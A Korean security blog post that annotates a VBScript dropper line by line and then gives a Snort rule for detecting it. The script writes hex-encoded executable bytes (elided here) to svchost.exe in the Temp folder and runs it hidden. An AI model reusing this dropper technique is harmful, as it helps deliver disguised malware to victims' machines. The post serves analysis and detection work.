( 1 ) 설명
해당 코드를 응용해서 모의해킹을 연구해보면 좋을 듯 함.
단지 악의적으로 사용하지 마세요~! ^^
아래는 코드를 분석함.
<SCRIPT Language=VBScript><!--
' 실행시킬 파일 이름 지정
DropFileName = "svchost.exe"
' 실행 파일의 바이너리 코드 (엄청 김 ㅠㅠ)
WriteData = "4D5A ... 0000"
Set FSO = CreateObject("Scripting.FileSystemObject")
' GetSpecialFolder 메소드는 지정된 특정 폴더 오브젝트를 돌려줌.
' GetSpecialFolder(2)에서 인수 2는 Temp 폴더를 지정함.
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
' Temp 폴더에 svchost.exe 파일이 존재하지 않을 시
If FSO.FileExists(DropPath)=False Then
' CreateTextFile 메소드는 파일을 읽거나 쓸 수 있는 텍스트 스트림 형식의 파일을 만듬.
' Temp 폴더에 svchost.exe 파일을 만든 후 덮어쓸 수 있도록 설정함.
Set FileObj = FSO.CreateTextFile(DropPath, True)
' WriteData 변수에 지정된 실행 파일의 바이너리 코드를 2 글자씩
' Temp 폴더의 svchost.exe 파일에 덮어씌움.
For i = 1 To Len(WriteData) Step 2
' Mid 함수는 문자열에서 지정된 문자 수를 반환함.
' CLng 함수는 Long 형식의 Variant 로 변환함.
' 여기서 &H 기능을 사용하여 16 진수 값으로 변환시킴.
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
' Run 메소드는 프로세스를 실행시킴.
' Temp 폴더의 svchost.exe 파일에 바이너리 코드를 다 덮어씌운 후 실행시킴.
' intWindowStyle 의 인수값 0은 창을 숨기면서 실행시키는 옵션임.
WSHshell.Run DropPath, 0
//--></SCRIPT>
( 2 ) 공격 탐지 방법
VBScript 코드에 실행 파일의 바이너리 특정 부분 문자열을 탐지함.
alert tcp any 80 -> any any (msg:"KOROMOON_VBScript_PE_Injection"; content:"\"4D5A80000100000004001000FFFF";)
============================================================
본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.
댓글 없음:
댓글 쓰기